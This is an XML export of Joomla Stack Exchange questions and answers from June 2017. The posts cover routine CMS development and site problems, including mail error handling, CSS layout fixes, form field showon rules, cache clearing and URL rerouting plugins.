  <row Id="20996" PostTypeId="2" ParentId="20970" CreationDate="2017-06-13T19:41:18.040" Score="2" Body="&lt;p&gt;They are not deprecated, it's Joomla's documentation that is not perfect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFactory.html#method_getApplication&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JFactory.html#method_getApplication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can notice that it returns &lt;code&gt;JApplicationCms&lt;/code&gt; and on this object it is not deprecated. You will also notice that it says to look at &lt;code&gt;\JApplication&lt;/code&gt; for more information, but this object is deprecated. Just call the right object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;getUserState();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next time you better click on the reference of the returned object and not the link it says to see for more details :)&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2017-06-13T19:41:18.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20997" PostTypeId="1" AcceptedAnswerId="20998" CreationDate="2017-06-14T00:00:48.530" Score="1" ViewCount="1840" Body="&lt;p&gt;I'm sending email using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mail =&amp;amp; JFactory::getMailer();&#xA;$email_sent = $mail-&amp;gt;sendMail( &#xA;        $from_email,&#xA;        $from_name,&#xA;        $to_email,&#xA;        $subject,&#xA;        $email_body,&#xA;        $sendas,&#xA;        $cc_emails,&#xA;        $bcc_emails,&#xA;        $email_attachments,&#xA;        $reply_to_email,&#xA;        $reply_to_name );&#xA;if($email_sent) {&#xA;    echo &quot;Mail sent.&quot;;&#xA;} else {&#xA;    echo &quot;Mail NOT sent.&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the variables are set to the appropriate values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When $email_sent is false, is there a way to capture the error message or another way to find out why the email wasn't sent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Joomla 3.7 and php 5.6.&lt;/p&gt;&#xA;" OwnerUserId="10969" LastActivityDate="2019-02-22T21:25:28.300" Title="When calling sendMail, how do I get the error if the mail isn't sent?" Tags="|joomla-3.x|php|emails|error-handling|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20998" PostTypeId="2" ParentId="20997" CreationDate="2017-06-14T01:05:40.557" Score="2" Body="&lt;p&gt;Firstly, just on a side note, please remove the &lt;code&gt;&amp;amp;&lt;/code&gt; before &lt;code&gt;JFactory&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a pull request submitted on Github a year ago that allowed Joomla to catch the errors being throw by PHPMailer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/9881&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/9881&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure at the implementation but according to the documentation, the &lt;code&gt;send()&lt;/code&gt; function will return a &lt;code&gt;JError&lt;/code&gt; object if any errors occurred:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Sending_email_from_extensions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-06-14T01:14:31.773" LastActivityDate="2017-06-14T01:14:31.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20999" PostTypeId="1" AcceptedAnswerId="21000" CreationDate="2017-06-14T15:50:12.643" Score="0" ViewCount="71" Body="&lt;p&gt;I'm pretty sure I have posted this before and rectified the issue, but I cannot seem to find the post. I have a module which I just want to display as a darkblue empty module, filling the module position background colour. In Chrome this displays fine, but in firefox the module appears to overflow the container for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see on this page and compare the results between the 2 browsers. I do not understand what is causing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My apoligies if I have posted this here before, I have been through my quetsions and cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&#xA;D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Links removed&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-23T09:32:26.580" LastActivityDate="2017-06-23T09:32:26.580" Title="Module displaying outside of container" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21000" PostTypeId="2" ParentId="20999" CreationDate="2017-06-14T17:10:10.973" Score="2" Body="&lt;p&gt;The problem is not the blue module. It is the photo. With FF its &lt;em&gt;calculated&lt;/em&gt; height is 175px according to the 100% specified for its height:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/wimeta/images/factory.jpg&quot; style=&quot;height:100%;&quot; alt=&quot;factory&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace it by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/wimeta/images/factory.jpg&quot; style=&quot;height:191px;;&quot; alt=&quot;factory&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NB: not sure this is the more elegant way but it &lt;em&gt;works&lt;/em&gt;, at least you get what you need ;)&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2017-06-14T17:10:10.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21001" PostTypeId="1" AcceptedAnswerId="21012" CreationDate="2017-06-14T17:24:01.667" Score="2" ViewCount="51" Body="&lt;p&gt;On my Joomla registration page, alerts and warnings are not appearing if users make a mistake in their email address or create a password which is too short. The page simply appears to refresh with no message to the user as to why their registration hasn't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if I navigate to another page on my website, sometimes the alerts will appear there instead.  Here is the problem page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.radiologycafe.com/create-an-account/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.radiologycafe.com/create-an-account&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I correct this glitch.  Can anyone advise me on what to do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; To replicate the issue, try registering using two different email addresses or create a password with fewer than 7 characters.&lt;/p&gt;&#xA;" OwnerUserId="11197" LastEditorUserId="11197" LastEditDate="2017-06-14T17:49:44.000" LastActivityDate="2017-06-17T15:26:50.747" Title="Alerts not appearing on registration page" Tags="|joomla-3.x|registration|joomla-3.7|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21002" PostTypeId="1" CreationDate="2017-06-14T18:28:50.263" Score="1" ViewCount="295" Body="&lt;p&gt;Okay so working in Joomla. I go to save a module but I cannot and instead get kicked back to the module page with a checkin on the module I just got kicked out of. With some testing it seems this issue only arises when on all pages is selected in menu assignment, anyone have any ideas.&lt;/p&gt;&#xA;" OwnerUserId="11029" LastActivityDate="2017-06-16T11:40:07.077" Title="Cannot save modules with all pages menu assignment" Tags="|joomla-3.x|module-manager|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21003" PostTypeId="1" CreationDate="2017-06-15T00:45:49.093" Score="0" ViewCount="476" Body="&lt;p&gt;I want to make the default setting for Require Password Reset in the user manager &gt; new user creation to yes instead of no. is this possible? where would i go about it? is there an admin view I could override?&lt;/p&gt;&#xA;" OwnerUserId="11199" LastActivityDate="2017-06-15T21:29:48.660" Title="change default settings for &quot;Require Password Reset&quot; in User Manager" Tags="|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21004" PostTypeId="2" ParentId="20999" CreationDate="2017-06-15T05:19:35.840" Score="1" Body="&lt;p&gt;You should never set both width and height to 100% on an image because it changes aspect ratio when the width of the screen changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest thing is to make a png image in the selected color of the same size as you can publish in the module to the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a module contains only one image, it should appear in a div's instead of &lt;p&gt; tags&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always remember to insert both width and height. Max-width is - as it should be, already defined to 100% in css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;your_class_name&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;/wimeta/images/factory.jpg&quot; width=&quot;508&quot; height=&quot;175&quot; alt=&quot;factory&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to define margin or padding, you should add class_name to the div and then add it to custom.css&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2017-06-15T05:19:35.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21006" PostTypeId="1" CreationDate="2017-06-15T08:26:22.213" Score="2" ViewCount="299" Body="&lt;p&gt;This question has been asked on the developers Forum but got closed down with no answer. Not sure why. We have also contacted them directly but the response was to : ask some one else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlart.com/forums/topic/megamenu-duplicate-menu-items-after-t3-framework-updating-to-v-2-6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Megamenu duplicate menu items after T3 Framework updating to v 2.6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We update our modules etc regularly, but the menu on the website had not changed for a while. Now when changing the menu order in the normal Joomla menu interface, then menu items in the mega menu drop down get duplicated. Restoring them to the original order removes the issue (!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This must have come in somewhere between versions 2.6.2 through 2.6.5. I am using Joomla 3.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a bit of debugging in the plugin, and the json on the DB that it uses, but I can't figure out at which point the menu gets duplicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question : &lt;strong&gt;has anyone else came across this issue ? does it some familiar.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very happy if it's something I've overlooked or that I've done, rather than a bug.&lt;/p&gt;&#xA;" OwnerUserId="9698" LastActivityDate="2021-02-23T00:19:19.827" Title="T3 Mega Menu plugin duplicate menu items" Tags="|t3-framework|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21007" PostTypeId="2" ParentId="20991" CreationDate="2017-06-15T20:13:32.350" Score="1" Body="&lt;p&gt;You can shorten, and reuse the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array('COUNT(id)'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__mytable'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('last_name') . ' LIKE ' . $db-&amp;gt;q('A%'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$alpha = $db-&amp;gt;loadResult();&#xA;// you can reuse the object, but not the where-clause:&#xA;$query-&amp;gt;clear('where')&#xA;    -&amp;gt;where($db-&amp;gt;qn('last_name') . ' LIKE ' . $db-&amp;gt;q('B%'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$beta = $db-&amp;gt;loadResult();&#xA;echo 'ALPHA: '.$alpha;&#xA;echo '&amp;lt;br /&amp;gt;BETA: '.$beta;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this is a good compromise. And your single query IMHO is not really a cheap procedure compared to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also some hints:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the first line, you should not use the &lt;strong&gt;&amp;amp;&lt;/strong&gt; any more at &lt;code&gt;JFactory::getDbo()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use simply &lt;strong&gt;'&lt;/strong&gt; instead of &lt;strong&gt;&quot;&lt;/strong&gt; for any string operations, then there is no extra parsing through the string if possible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;You may use &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; instead of &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; and &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt; for &lt;code&gt;$db-&amp;gt;Quote()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2017-06-15T20:13:32.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21008" PostTypeId="2" ParentId="21003" CreationDate="2017-06-15T21:29:48.660" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/miscellaneous/form-xml-override/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/miscellaneous/form-xml-override/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will let you then create an override on a model/forms/ .xml file in the administration (or frontend). it rocks.&lt;/p&gt;&#xA;" OwnerUserId="11199" LastActivityDate="2017-06-15T21:29:48.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21009" PostTypeId="2" ParentId="21002" CreationDate="2017-06-16T04:40:50.223" Score="1" Body="&lt;p&gt;Some things to try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set error reporting to maximum in Global Configuration&lt;/li&gt;&#xA;&lt;li&gt;check JavaScript Console for any meaningful errors&lt;/li&gt;&#xA;&lt;li&gt;try clearing Joomla and browser cache&lt;/li&gt;&#xA;&lt;li&gt;try an alternative browser&lt;/li&gt;&#xA;&lt;li&gt;run a backup and try reinstalling core files via Joomla Update component&lt;/li&gt;&#xA;&lt;li&gt;try changing the hosting to PHP 5.6 or PHP 7.0 if all your third party extensions support PHP 7.0&lt;/li&gt;&#xA;&lt;li&gt;try switching the the alternative administrator template in the back-end&lt;/li&gt;&#xA;&lt;li&gt;upgrade all third party extensions to the latest versions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-06-16T11:40:07.077" LastActivityDate="2017-06-16T11:40:07.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21010" PostTypeId="2" ParentId="20771" CreationDate="2017-06-16T11:47:36.090" Score="1" Body="&lt;p&gt;Just clearing the cache worked for me. It would be worth checking that the extension installed correctly if it still isn't working. Check all the directories were created, database tables and file permissions.&lt;/p&gt;&#xA;" OwnerUserId="11203" LastActivityDate="2017-06-16T11:47:36.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21011" PostTypeId="2" ParentId="21006" CreationDate="2017-06-16T15:12:00.883" Score="1" Body="&lt;p&gt;I recognise the silence when no one responds to your critical question! (In my experience it usually means that I'm the one at fault rather than the software but no one will point that out..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like a good usage case for the &quot;Rebuild&quot; action in the menu manager if you haven't already used it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that and given that migration route you've taken - would it be feasible to simply rebuild the menu (not copy)to at least test if the issue persists on a &quot;clean&quot; menu?&lt;/p&gt;&#xA;" OwnerUserId="3546" LastActivityDate="2017-06-16T15:12:00.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21012" PostTypeId="2" ParentId="21001" CreationDate="2017-06-17T15:26:50.747" Score="0" Body="&lt;p&gt;I've fixed the issue for now.  It was a problem with the SiteGround Supercaching feature.  I disabled these within the 'System - jSGCache' Joomla plugin. Once I changed the SG Cache Status from 'enabled' to 'disabled', the alerts worked correctly.&lt;/p&gt;&#xA;" OwnerUserId="11197" LastActivityDate="2017-06-17T15:26:50.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21013" PostTypeId="2" ParentId="20980" CreationDate="2017-06-18T08:10:02.660" Score="1" Body="&lt;p&gt;The backup is not including old backups, so when you restore an older backup all backups are gone. Only the entries are present in the database, but the backup files aren't back upped. Otherwuse the backups are way too big&lt;/p&gt;&#xA;" OwnerUserId="11208" LastActivityDate="2017-06-18T08:10:02.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21014" PostTypeId="1" CreationDate="2017-06-18T08:17:33.933" Score="1" ViewCount="315" Body="&lt;p&gt;I am creating a component but need to redirect all incoming requests to the new component. The URL looks like this currently: index.php?option=com_component&amp;amp;view=xxx and when this comes in I want to replace com_component into com_newcomponent, all internal views are the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible by a simple plugin? &lt;/p&gt;&#xA;" OwnerUserId="11208" LastActivityDate="2017-08-18T14:11:26.943" Title="Plugin to change incoming url" Tags="|development|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21015" PostTypeId="1" AcceptedAnswerId="21558" CreationDate="2017-06-18T18:22:52.783" Score="0" ViewCount="50" Body="&lt;p&gt;I turned on SSL and now it won't turn off.  I used the Joomla! global configuration and set SSL for the whole site.  Now when I set it to admin only it stays on SSL mode.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-09-16T20:28:39.720" Title="I turned on SSL and now it won't turn off" Tags="|ssl|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21020" PostTypeId="2" ParentId="21014" CreationDate="2017-06-19T12:48:01.593" Score="0" Body="&lt;p&gt;You can use a simple system plugin, with the event onAfterInitilization() do some very basic checks, e.g. isAdmin, is the component com_component used and if so do the redirect there&lt;/p&gt;&#xA;" OwnerUserId="11214" LastActivityDate="2017-06-19T12:48:01.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21021" PostTypeId="2" ParentId="21014" CreationDate="2017-06-19T12:56:51.747" Score="1" Body="&lt;pre&gt;&lt;code&gt;/**&#xA; * Fucntionality which needs to be triggered on After the system has been loaded.&#xA; *&#xA; * @since 1.0.0&#xA; */&#xA;public function onAfterInitialise()&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    // Frontend only, otherwise return.&#xA;    if(!$app-&amp;gt;isClient('site'))&#xA;    {&#xA;        return false;&#xA;    }&#xA;&#xA;    $router = $app-&amp;gt;getRouter();&#xA;    $callback = array($this, 'buildRoute');&#xA;&#xA;    $router-&amp;gt;attachBuildRule($callback);&#xA;}&#xA;&#xA;public function buildRoute($router, $uri)&#xA;{&#xA;    $routerClone = clone $router;&#xA;    $vars= $routerClone-&amp;gt;parse($uri);&#xA;&#xA;    if($vars['option'] == 'com_component1' &amp;amp;&amp;amp; $vars['view'] == 'update')&#xA;    {&#xA;        $uri-&amp;gt;setVar('option', 'com_component_new');&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11208" LastActivityDate="2017-06-19T12:56:51.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21022" PostTypeId="1" AcceptedAnswerId="21067" CreationDate="2017-06-19T14:54:08.717" Score="7" ViewCount="1148" Body="&lt;p&gt;Using this documentation &lt;a href=&quot;https://docs.joomla.org/Form_field&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Form_field&lt;/a&gt; I have developed a plugin and used the &lt;code&gt;showon&lt;/code&gt; attribute within the XML (head to the bottom of that page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst is shows me I can use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;showon=&quot;foo:1[AND]bar:1&quot;&lt;/code&gt; and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;showon=&quot;foo:1[OR]bar:1&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to showon based on whether a text field is not empty.  Is this a possibility or will I require JS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also heard you can do &lt;code&gt;showon=&quot;field1!:1&quot;&lt;/code&gt; and &lt;code&gt;showon=field!&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code which shows both fields. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        name=&quot;telephone&quot;&#xA;        type=&quot;text&quot;&#xA;        label=&quot;MOD_HEADER_CONTACT_TELEPHONE_LABEL&quot;&#xA;        description=&quot;MOD_HEADER_CONTACT_TELEPHONE_DESC&quot;&#xA;        default=&quot;&quot;&#xA;        class=&quot;&quot;&#xA;/&amp;gt;&#xA;&amp;lt;field&#xA;        name=&quot;countrycode&quot;&#xA;        type=&quot;text&quot;&#xA;        label=&quot;MOD_HEADER_CONTACT_COUNTRY_CODE_LABEL&quot;&#xA;        description=&quot;MOD_HEADER_CONTACT_COUNTRY_CODE_DESC&quot;&#xA;        default=&quot;&quot;&#xA;        class=&quot;&quot;&#xA;        required=&quot;required&quot;&#xA;        showon=&quot;telephone!:&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2017-06-30T16:09:16.803" LastActivityDate="2017-07-30T16:10:26.687" Title="Form Field showon:&quot;empty" Tags="|form-fields-types|showon|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21023" PostTypeId="1" AcceptedAnswerId="21024" CreationDate="2017-06-20T08:03:10.273" Score="2" ViewCount="47" Body="&lt;p&gt;I have built a site in German and some of the page titles are quite long. When viewing the site in a mobile view some of the page titles disappear off to the right hand side of the screen, thus the user can only see the beginning part of the page title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I can apply via css/plugin/php which will 'wrap' the word onto the next line to make this more user friendly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of a page which does this can be found here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to any suggestions.&#xA;Thank you.&#xA;D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:Linked removed fro privacy&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-23T09:31:30.597" LastActivityDate="2017-06-23T09:31:30.597" Title="Page titles overrun screen size in mobile view - sustainable solution?" Tags="|joomla-3.x|php|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21024" PostTypeId="2" ParentId="21023" CreationDate="2017-06-20T08:27:02.413" Score="4" Body="&lt;p&gt;The following would cause the word to wrap.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h1.article-title {&#xA;   word-wrap: break-word;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you'd probably be best just changing the font size at that breakpoint - this would keep it more legible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is line 186 of templates/buildr/css/custom.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h1 span, h2, p, h4 a {&#xA;    font-size:80%!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to something like the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p, h4 a {&#xA;    font-size:80%!important;&#xA;}&#xA;h1 span, h2 {&#xA;    font-size:50%!important;&#xA;    word-wrap: break-word;&#xA;}&#xA;&#xA;h3 {&#xA;    font-size:100%&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-06-20T08:27:02.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21025" PostTypeId="1" AcceptedAnswerId="21029" CreationDate="2017-06-20T08:29:10.760" Score="1" ViewCount="1620" Body="&lt;p&gt;I made a change to an admin component, but it's not reflected immediately.  Is there a way to make the admin cache refresh?  I know with modules you can set cache to none, but this is a component so I don't have that option.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-06-21T13:21:48.567" Title="Is there a way to clear the cache in the administration?" Tags="|administrator|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21026" PostTypeId="2" ParentId="21025" CreationDate="2017-06-20T09:54:07.973" Score="0" Body="&lt;p&gt;Login to admin panel, see top menu, click &quot;System&quot;, click sub menu &quot;Clear Cache&quot;, I think rest you will understand.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2017-06-20T09:54:07.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21028" PostTypeId="1" CreationDate="2017-06-20T16:10:09.870" Score="5" ViewCount="397" Body="&lt;p&gt;my site was working fine till a few months ago thanks to &quot;jch plugin&quot; and &quot;cache plugin&quot; and page load time improved to 3 seconds and response time under 1 second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but suddenly response time went up to 7 seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i turned back a backup from 8 month ago, the page loads in 3 seconds. so i guess the problem isn't from the server. i updated everything in the old backup and still page load time was 3 second. so i guess the problem isn't coming from updated extensions and Joomla (I GUESS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i turned on &quot;joomla debug&quot; and i didn't see anything wrong in it. maybe i didn't check it right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what are the ways that can help me find out why TimeToFirstByte is high?&#xA;what can i do to find the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any plugin or something that shows what happens in ttfb time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2018-03-17T12:20:17.040" Title="TimeToFirstByte problem in joomla" Tags="|joomla-3.x|seo|server-response-time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21029" PostTypeId="2" ParentId="21025" CreationDate="2017-06-20T20:20:00.520" Score="2" Body="&lt;p&gt;Yes, there is a way. It is called &lt;a href=&quot;http://www.regularlabs.com/extensions/cachecleaner&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Cache Cleaner&lt;/strong&gt;&lt;/a&gt;, extension from Regular Labs (ex-NoNumber).&lt;/p&gt;&#xA;&lt;p&gt;With Cache Cleaner you can clean your cache fast and easily via a link in your Joomla! Administrator.&lt;/p&gt;&#xA;&lt;p&gt;Not only that, it also gives you the possibility to purge expired cache, do a global check-in, empty the temp folder, empty user-defined folders and database tables … all with just 1 click!&lt;/p&gt;&#xA;&lt;p&gt;Cache Cleaner can clean your cache automatically when you save an article or other item. And it can clean your cache at preset intervals too.&#xA;So no more clickety-click to get to the core Joomla! Cache Manager and no more manually deleting files.&lt;/p&gt;&#xA;&lt;p&gt;Let it be noted that the &lt;strong&gt;extension cleans up both /cache folders&lt;/strong&gt; (site's and admin's), even though that is not explicitely written in description.&lt;/p&gt;&#xA;&lt;p&gt;I have been using it for ages and can't imagine my work in Joomla admin without it.&lt;br /&gt;&#xA;HIGHLY RECOMMENDED!&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-06-21T13:21:48.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21030" PostTypeId="2" ParentId="21028" CreationDate="2017-06-21T07:23:02.090" Score="0" Body="&lt;p&gt;May be the old Software was sending a first Byte before everthing was rendered.&#xA;Is the download time (Request to finish download) changed too?&#xA;Her is a &lt;a href=&quot;https://blog.cloudflare.com/ttfb-time-to-first-byte-considered-meaningles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; to keep in mind if you test TTFB.&lt;/p&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2017-06-21T07:23:02.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
